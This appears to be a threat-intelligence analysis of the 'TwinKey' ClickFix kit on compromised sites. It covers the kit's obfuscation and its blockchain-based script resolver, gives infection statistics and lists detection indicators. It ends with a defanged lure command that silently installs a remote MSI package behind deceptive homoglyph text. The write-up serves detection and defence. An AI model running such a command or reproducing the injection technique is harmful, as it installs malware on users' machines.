TwinKey ClickFix kit

Two keys unwrap the resolver

TwinKey is an inline wrapper that rebuilds the name fromCharCode from split strings. It applies two repeating string keys to an embedded byte sequence, converts the result to text and writes that text into a temporary script element. The wrapper removes the temporary element and its own script tag after the decoded code runs.

The outer variable names change across copies.

The scheduler and requested path changed

One generation waits for requestIdleCallback. Another uses requestAnimationFrame and the String constructor. Both decode a resolver that calls the same Polygon contract with selector 0xb68d1809.

The contract response supplies a base address. The resolver adds a randomised path below /api/ and injects the result as a script. Copies use /api/index or /api/vendor_lib, with extensions including .js, .avi and .css.

In production captures, those randomised requests received a captcha-themed 404 page.

What we see

Month	New sites
September	48
October	21
November so far	1

The persistence check found TwinKey again on 39 of 42 sites recaptured at least 25 days after their first match (93%). 98% of TwinKey sites captured since 25 September run WordPress.

TwinKey overlaps with BW panel on 34 sites and with LA02 on 19.

Checking a site

Search raw HTML and decoded inline scripts for:

• fromCharCode assembled from several short strings
• two repeating string keys applied to one embedded byte sequence
• decodeURIComponent(escape(...)) around the decoded text
• a temporary script populated through textContent and then removed
• a Polygon call using selector 0xb68d1809
• randomised /api/index or /api/vendor_lib requests

Decode several copies before comparing them. Scheduling calls, variable names and extensions rotate while the inner contract resolver remains recognisable.

mSIEXeC.exe /i hxxps:/\API-net[.]cfd\u14ssp8wsbfcdc /QN S1="Рrосеs8  Васk2rоund  4оnе  7оnitоr                            𝗧​𝗼  𝘃𝗲𝗿𝗶​𝗳𝘆  𝗽𝘂𝘀​𝗵  𝘁​𝗵𝗲  𝗘𝗡𝗧​𝗘𝗥  𝗸𝗲​𝘆          "